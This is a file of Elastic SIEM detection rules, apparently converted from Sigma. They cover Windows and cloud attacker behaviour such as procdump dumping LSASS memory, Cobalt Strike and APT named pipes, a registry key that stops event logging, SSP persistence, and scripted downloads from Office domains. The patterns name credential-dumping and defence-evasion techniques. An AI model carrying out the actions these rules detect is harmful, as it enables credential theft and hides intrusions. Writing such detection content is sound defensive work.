{"description":"Detects suspicious uses of the SysInternals Procdump utility by using a special command line parameter ' -ma ' and ' -accepteula' in a single step. This way we're also able to catch cases in which the attacker has renamed the procdump executable. Author: Florian Roth. License: ","enabled":false,"false_positives":["Another tool that uses the command line switches of Procdump","Legitimate use of procdump by a developer or administrator"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"03795938-1387-481b-9f4c-3f6241e604fe","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Use of Procdump","query":"(process.command_line:*\\ \\-ma\\ * AND process.command_line:*\\ \\-accepteula\\ *)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1003","T1036"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious uses of the SysInternals Procdump utility by using a special command line parameter in combination with the lsass.exe process. This way we're also able to catch cases in which the attacker has renamed the procdump executable. Author: Florian Roth. License: ","enabled":false,"false_positives":["Unlikely, because no one should dump an lsass process memory","Another tool that uses the command line switches of Procdump"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"5afee48e-67dd-4e03-a783-f74259dcf998","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Suspicious Use of Procdump on LSASS","query":"(process.command_line:*\\ \\-ma\\ * AND (process.command_line:*\\ lsass* OR process.command_line:*\\ ls*))","meta":{"from":"1m"},"severity":"critical","tags":["Credential Access","Defense Evasion","T1003","T1036"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""}]},{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious way to dump the kernel on Windows systems using dtrace.exe, which is available on Windows systems since Windows 10 19H1 Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"7124aebe-4cd7-4ccb-8df0-6d6b93c96795","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Kernel Dump Using Dtrace","query":"((process.executable:*\\\\dtrace.exe AND process.command_line:*lkd\$0\$*) OR (process.command_line:*syscall\\:\\:\\:return* AND process.command_line:*lkd\\(*))","meta":{"from":"1m"},"severity":"high","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects suspicious ways to download files from Microsoft domains that are used to store attachments in Emails or OneNote documents Author: Florian Roth. License: ","enabled":false,"false_positives":["Scripts or tools that download attachments from these domains (OneNote, Outlook 365)"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"00d49ed5-4491-4271-a8db-650a4ef6f8c1","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Download from Office Domain","query":"((process.executable:(*\\\\curl.exe OR *\\\\wget.exe) OR process.command_line:(*Start\\-BitsTransfer* OR *.DownloadFile\\(* OR *.DownloadString\\(*)) AND process.command_line:(*https\\:\\/\\/attachment.outlook.live.net\\/owa\\/* OR *https\\:\\/\\/onenoteonlinesync.onenote.com\\/onenoteonlinesync\\/*))","meta":{"from":"1m"},"severity":"high","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects svchost hosting RDP termsvcs communicating with the loopback address and on TCP port 3389 Author: Samir Bousseaden. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"5f699bc5-5446-4a4a-a0b7-5ef2885a3eb4","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"RDP Over Reverse SSH Tunnel","query":"((process.executable:*\\\\svchost.exe AND winlog.event_data.Initiated:\"true\" AND source.port:\"3389\") AND (destination.ip:127.* OR destination.ip:\"\\:\\:1\"))","meta":{"from":"1m"},"severity":"high","tags":["Lateral Movement","T1021","T1572"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0008","reference":"","name":"Lateral Movement"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1021","name":"Remote Services","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions. Author: Ensar Åžamil, @sblmsrsn, OSCD Community. License: ","enabled":false,"false_positives":["App-V clients"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d44a98e6-52a3-1bfe-01c9-7f932bd4afff","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"SyncAppvPublishingServer Execution to Bypass Powershell Restriction","query":"\"SyncAppvPublishingServer.exe\"","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions. Author: Ensar Åžamil, @sblmsrsn, OSCD Community. License: ","enabled":false,"false_positives":["App-V clients"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d44a98e6-52a3-1bfe-01c9-7f932bd4afff","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"SyncAppvPublishingServer Execution to Bypass Powershell Restriction","query":"process.executable:*\\\\SyncAppvPublishingServer.exe","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects system information discovery commands Author: Ã–mer GÃ¼nal, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administration activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"42df45e7-e6e9-43b5-8f26-bec5b39cc239","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"System Information Discovery","query":"process.executable:(*\\/uname OR *\\/hostname OR *\\/uptime OR *\\/lspci OR *\\/dmidecode OR *\\/lscpu OR *\\/lsmod)","meta":{"from":"1m"},"severity":"low","tags":["T1082"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1082","name":"System Information Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Task Scheduler .job import arbitrary DACL write\\par Author: Olaf Hartong. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"931b6802-d6a6-4267-9ffa-526f57f22aaf","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Windows 10 Scheduled Task SandboxEscaper 0-day","query":"(process.executable:*\\\\schtasks.exe AND process.command_line:*\\/change* AND process.command_line:*\\/TN* AND process.command_line:*\\/RU* AND process.command_line:*\\/RP*)","meta":{"from":"1m"},"severity":"high","tags":["Privilege Escalation","T1053"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1053","name":"Scheduled Task/Job","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects that a powershell code is written to the registry as a service. Author: oscd.community, Natalia Shornikova. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"1ce15f40-9a7b-7058-841f-7d8148890856","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"PowerShell as a Service in Registry","query":"(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\Services\\\\* AND winlog.event_data.TargetObject:*\\\\ImagePath AND winlog.event_data.Details:(*powershell* OR *pwsh*))","meta":{"from":"1m"},"severity":"high","tags":["T1569"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1569","name":"System Services","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the abuse of the exefile handler in new file association. Used for bypass of security products. Author: Andreas Hunkeler (@Karneades). License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"66e0f872-9e0f-365b-c794-c51543cada0f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"New File Association Using Exefile","query":"(winlog.event_data.TargetObject:*Classes\\\\.* AND winlog.event_data.Details:\"exefile\" AND winlog.event_data.EventType:\"SetValue\")","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects the access to processes by other suspicious processes which have reflectively loaded libraries in their memory space. An example is SilentTrinity C2 behaviour. Generally speaking, when Sysmon EventID 10 cannot reference a stack call to a dll loaded from disk (the standard way), it will display \"UNKNOWN\" as the module name. Usually this means the stack call points to a module that was reflectively loaded in memory. Adding to this, it is not common to see such few calls in the stack (ntdll.dll --> kernelbase.dll --> unknown) which essentially means that most of the functions required by the process to execute certain routines are already present in memory, not requiring any calls to external libraries. The latter should also be considered suspicious. Author: Perez Diego (@darkquassar), oscd.community, Jonhnathan Ribeiro. License: ","enabled":false,"false_positives":["SysInternals Process Explorer"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"2548e94b-4db1-5f25-f016-0503488c9c58","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious In-Memory Module Execution","query":"((((winlog.event_data.CallTrace:*C\\:\\\\WINDOWS\\\\SYSTEM32\\\\ntdll.dll\\+* AND winlog.event_data.CallTrace:*|C\\:\\\\WINDOWS\\\\System32\\\\KERNELBASE.dll\\+* AND winlog.event_data.CallTrace:*|UNKNOWN\$* AND winlog.event_data.CallTrace:*\$*) OR (winlog.event_data.CallTrace:*UNKNOWN\$* AND winlog.event_data.CallTrace:*\$|UNKNOWN\$* AND winlog.event_data.CallTrace:*\$)) OR (winlog.event_data.CallTrace:*UNKNOWN* AND winlog.event_data.GrantedAccess:(\"0x1F0FFF\" OR \"0x1F1FFF\" OR \"0x143A\" OR \"0x1410\" OR \"0x1010\" OR \"0x1F2FFF\" OR \"0x1F3FFF\" OR \"0x1FFFFF\"))) AND (NOT ((process.executable:(*\\\\Windows\\\\System32\\\\sdiagnhost.exe OR *\\\\procexp64.exe OR *\\\\procexp.exe OR *\\\\Microsoft\\ VS\\ Code\\\\Code.exe OR *\\\\aurora\\-agent\\-64.exe OR *\\\\aurora\\-agent.exe OR *\\\\git\\\\usr\\\\bin\\\\sh.exe OR *\\\\IDE\\\\devenv.exe OR *\\\\GitHubDesktop\\\\Update.exe OR *\\\\RuntimeBroker.exe OR *\\\\backgroundTaskHost.exe OR *\\\\GitHubDesktop.exe) OR process.executable:(C\\:\\\\Program\\ Files\\ \$x86\$\\\\* OR C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\*\\\\NGenTask.exe* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\ Visual\\ Studio\\\\* OR C\\:\\\\Program\\ Files\\\\Microsoft\\ Visual\\ Studio\\\\* OR C\\:\\\\Windows\\\\Microsoft.NET\\\\Framework* OR C\\:\\\\WINDOWS\\\\System32\\\\DriverStore\\\\* OR C\\:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\*) OR process.executable:(C\\:\\\\Users\\\\*\\\\AppData\\\\Local\\\\Programs\\\\Microsoft\\ VS\\ Code\\\\Code.exe OR \"C\\:\\\\WINDOWS\\\\system32\\\\taskhostw.exe\" OR \"C\\:\\\\WINDOWS\\\\system32\\\\ctfmon.exe\" OR \"C\\:\\\\WINDOWS\\\\system32\\\\NhNotifSys.exe\" OR \"C\\:\\\\Windows\\\\ImmersiveControlPanel\\\\SystemSettings.exe\" OR \"C\\:\\\\Windows\\\\explorer.exe\") OR winlog.event_data.TargetImage:\"C\\:\\\\Windows\\\\System32\\\\RuntimeBroker.exe\" OR winlog.event_data.TargetImage:*\\\\Microsoft\\ VS\\ Code\\\\Code.exe OR winlog.event_data.CallTrace:*|C\\:\\\\WINDOWS\\\\System32\\\\RPCRT4.dll\\+*) OR (process.executable:\"C\\:\\\\WINDOWS\\\\Explorer.EXE\" AND winlog.event_data.TargetImage:(\"C\\:\\\\WINDOWS\\\\system32\\\\backgroundTaskHost.exe\" OR \"C\\:\\\\WINDOWS\\\\explorer.exe\")) OR (process.executable:C\\:\\\\ProgramData\\\\Microsoft\\\\Windows\\ Defender\\\\Platform\\\\* AND process.executable:*\\\\MsMpEng.exe) OR (process.executable:*\\\\eclipse.exe AND winlog.event_data.CallTrace:(*\\\\jre\\\\bin\\\\java.dll* OR *|C\\:\\\\Windows\\\\SYSTEM32\\\\windows.storage.dll\\+* OR *\\\\configuration\\\\org.eclipse.osgi\\\\*)))))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","Privilege Escalation","T1055","T1055"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1055","name":"Process Injection","reference":""},{"id":"T1055","name":"Process Injection","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1055","name":"Process Injection","reference":""},{"id":"T1055","name":"Process Injection","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the addition of a key 'MiniNt' to the registry. Upon a reboot, Windows Event Log service will stopped write events. Author: Ilyas Ochkov, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"49738eab-cd5a-2dbb-a83d-50b0d2bdbafa","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Disable Security Events Logging Adding Reg Key MiniNt","query":"((winlog.event_data.TargetObject:\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\MiniNt\" AND winlog.event_data.EventType:\"CreateKey\") OR NewName:\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\MiniNt\")","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1112","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1112","name":"Modify Registry","reference":""},{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the addition of a SSP to the registry. Upon a reboot or API call, SSP DLLs gain access to encrypted and plaintext passwords stored in Windows. Author: iwillkeepwatch. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"6fab6cd9-8d13-21a5-8681-5cdef300a0e3","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Security Support Provider (SSP) Added to LSA Configuration","query":"(winlog.event_data.TargetObject:(\"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\Security\\ Packages\" OR \"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\OSConfig\\\\Security\\ Packages\") AND (NOT (process.executable:\"C\\:\\\\Windows\\\\system32\\\\msiexec.exe\" OR process.executable:\"C\\:\\\\Windows\\\\syswow64\\\\MsiExec.exe\")))","meta":{"from":"1m"},"severity":"critical","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the addition of office test registry that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started Author: omkar72. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f89f54f3-28ed-f594-1202-4c89c7947185","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Office Application Startup - Office Test","query":"winlog.event_data.TargetObject:(\"HKCU\\\\Software\\\\Microsoft\\\\Office\\ test\\\\Special\\\\Perf\" OR \"HKLM\\\\Software\\\\Microsoft\\\\Office\\ test\\\\Special\\\\Perf\")","meta":{"from":"1m"},"severity":"medium","tags":["T1137"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1137","name":"Office Application Startup","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the attempt to evade or obfuscate the executed command on the CommandLine using bogus path traversal Author: Christian Burkard. License: ","enabled":false,"false_positives":["Google Drive"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"60ee8624-f9a3-8551-44e2-d8d226aae808","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Command Line Path Traversal Evasion","query":"(((process.executable:*\\\\Windows\\\\* AND process.command_line:(*\\\\..\\\\Windows\\\\* OR *\\\\..\\\\System32\\\\* OR *\\\\..\\\\..\\\\*)) OR process.command_line:*.exe\\\\..\\\\*) AND (NOT (process.command_line:*\\\\Google\\\\Drive\\\\googledrivesync.exe\\\\..\\\\*)))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1036"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the change of database master password. It may be a part of data exfiltration. Author: faloker. License: ","enabled":false,"false_positives":["Benign changes to a db instance"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"8a63cdd4-6207-414a-85bc-7e032bd3c1a2","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"AWS RDS Master Password Change","query":"(eventSource:\"rds.amazonaws.com\" AND responseElements.pendingModifiedValues.masterUserPassword:* AND eventName:\"ModifyDBInstance\")","meta":{"from":"1m"},"severity":"medium","tags":["T1020"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0010","reference":"","name":"Exfiltration"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1020","name":"Automated Exfiltration","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the conhost execution as parent process. Can be used to evaded defense mechanism. Author: omkar72. License: ","enabled":false,"false_positives":["Unlikely, conhost is a child less process"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"11a07874-1a62-7a4f-1aa4-5f114ffb4534","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Conhost Parent Process Executions","query":"(process.parent.executable:*\\\\conhost.exe AND (NOT (Provider_Name:\"SystemTraceProvider\\-Process\")))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1202"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1202","name":"Indirect Command Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the creation of a macro file for Outlook. Goes with win_outlook_c2_registry_key. VbaProject.OTM is explicitly mentioned in T1137. Particularly interesting if both events Registry & File Creation happens at the same time. Author: @ScoubiMtl. License: ","enabled":false,"false_positives":["User genuinly creates a VB Macro for their email"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"915775e1-33d6-7ce5-b5a4-a36a21ab72e5","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Outlook C2 Macro Creation","query":"file.path:*\\\\Microsoft\\\\Outlook\\\\VbaProject.OTM","meta":{"from":"1m"},"severity":"medium","tags":["T1008","T1137","T1546"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1137","name":"Office Application Startup","reference":""},{"id":"T1546","name":"Event Triggered Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the creation of a named pipe as used by CobaltStrike Author: Florian Roth, Wojciech Lesicki. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"7afdf78f-9c92-b08d-645f-8f226f7be552","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"CobaltStrike Named Pipe","query":"((file.name:*\\\\MSSE\\-* AND file.name:*\\-server*) OR file.name:\\\\postex_* OR file.name:\\\\postex_ssh_* OR file.name:\\\\status_* OR file.name:\\\\msagent_*)","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","Privilege Escalation","T1055"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1055","name":"Process Injection","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1055","name":"Process Injection","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the creation of a named pipe matching a pattern used by CobaltStrike Malleable C2 profiles Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"3b83df6a-22a7-f6b2-b59c-930ca4c2fa3d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"CobaltStrike Named Pipe Pattern Regex","query":"(file.name:/\\\\\\\\mojo\\.5688\\.8052\\.(?:183894939787088877|35780273329370473)[0-9a-f]{2}/ OR file.name:/\\\\\\\\wkssvc_?[0-9a-f]{2}/ OR file.name:/\\\\\\\\ntsvcs[0-9a-f]{2}/ OR file.name:/\\\\\\\\DserNamePipe[0-9a-f]{2}/ OR file.name:/\\\\\\\\SearchTextHarvester[0-9a-f]{2}/ OR file.name:/\\\\\\\\mypipe\\-(?:f|h)[0-9a-f]{2}/ OR file.name:/\\\\\\\\windows\\.update\\.manager[0-9a-f]{2,3}/ OR file.name:/\\\\\\\\ntsvcs_[0-9a-f]{2}/ OR file.name:/\\\\\\\\scerpc_?[0-9a-f]{2}/ OR file.name:/\\\\\\\\PGMessagePipe[0-9a-f]{2}/ OR file.name:/\\\\\\\\MsFteWds[0-9a-f]{2}/ OR file.name:/\\\\\\\\f4c3[0-9a-f]{2}/ OR file.name:/\\\\\\\\fullduplex_[0-9a-f]{2}/ OR file.name:/\\\\\\\\msrpc_[0-9a-f]{4}/ OR file.name:/\\\\\\\\win\\\\\\\\msrpc_[0-9a-f]{2}/ OR file.name:/\\\\\\\\f53f[0-9a-f]{2}/ OR file.name:/\\\\\\\\rpc_[0-9a-f]{2}/ OR file.name:/\\\\\\\\spoolss_[0-9a-f]{2}/ OR file.name:/\\\\\\\\Winsock2\\\\\\\\CatalogChangeListener-[0-9a-f]{3}-0,/)","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","Privilege Escalation","T1055"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1055","name":"Process Injection","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1055","name":"Process Injection","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the creation of a named pipe used by known APT malware Author: Florian Roth, blueteam0ps, elhoim. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"0a708148-b980-6a34-110a-d002bf628a18","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Malicious Named Pipe","query":"file.name:(\"\\\\isapi_http\" OR \"\\\\isapi_dg\" OR \"\\\\isapi_dg2\" OR \"\\\\sdlrpc\" OR \"\\\\ahexec\" OR \"\\\\winsession\" OR \"\\\\lsassw\" OR \"\\\\46a676ab7f179e511e30dd2dc41bd388\" OR \"\\\\9f81f59bc58452127884ce513865ed20\" OR \"\\\\e710f28d59aa529d6792ca6ff0ca1b34\" OR \"\\\\rpchlp_3\" OR \"\\\\NamePipe_MoreWindows\" OR \"\\\\pcheap_reuse\" OR \"\\\\gruntsvc\" OR \"\\\\583da945\\-62af\\-10e8\\-4902\\-a8f205c72b2e\" OR \"\\\\bizkaz\" OR \"\\\\svcctl\" OR \\\\Posh* OR \"\\\\jaccdpqnvbrrxlaf\" OR \"\\\\csexecsvc\" OR \"\\\\6e7645c4\\-32c5\\-4fe3\\-aabf\\-e94c2f4370e7\" OR \"\\\\adschemerpc\" OR \"\\\\AnonymousPipe\" OR \"\\\\bc367\" OR \"\\\\bc31a7\" OR \"\\\\testPipe\")","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","Privilege Escalation","T1055"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1055","name":"Process Injection","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1055","name":"Process Injection","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the creation of a named pipe with a pattern found in CobaltStrike malleable C2 profiles Author: Florian Roth, Christian Burkard. License: ","enabled":false,"false_positives":["Chrome instances using the exactly same name pipe named mojo.something"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"88d3a3b1-2c73-199f-6200-d283ffa92d4e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"CobaltStrike Named Pipe Patterns","query":"(((file.name:(\\\\mojo.5688.8052.183894939787088877* OR \\\\mojo.5688.8052.35780273329370473* OR \\\\mypipe\\-f* OR \\\\mypipe\\-h* OR \\\\ntsvcs* OR \\\\scerpc* OR \\\\win_svc* OR \\\\spoolss* OR \\\\msrpc_* OR \\\\win\\\\msrpc_* OR \\\\wkssvc* OR \\\\f53f* OR \\\\windows.update.manager* OR \\\\SearchTextHarvester* OR \\\\DserNamePipe* OR \\\\PGMessagePipe* OR \\\\MsFteWds* OR \\\\f4c3* OR \\\\fullduplex_* OR \\\\rpc_*) OR file.name:(\"\\\\demoagent_11\" OR \"\\\\demoagent_22\")) OR (file.name:\\\\Winsock2\\\\CatalogChangeListener\\-* AND file.name:*\\-0,)) AND (NOT (file.name:(\"\\\\wkssvc\" OR \"\\\\spoolss\" OR \"\\\\scerpc\" OR \"\\\\ntsvcs\" OR \"\\\\SearchTextHarvester\" OR \"\\\\PGMessagePipe\" OR \"\\\\MsFteWds\"))))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1055"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1055","name":"Process Injection","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1055","name":"Process Injection","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system. Author: Alejandro Ortuno, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administration activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"51719bf5-e4fd-4e44-8ba8-b830e7ac0731","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Creation Of A Local User Account","query":"(process.executable:*\\/dscl AND process.command_line:*create*)","meta":{"from":"1m"},"severity":"low","tags":["T1136"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1136","name":"Create Account","reference":""}]}],"version":1,"references":[""]}
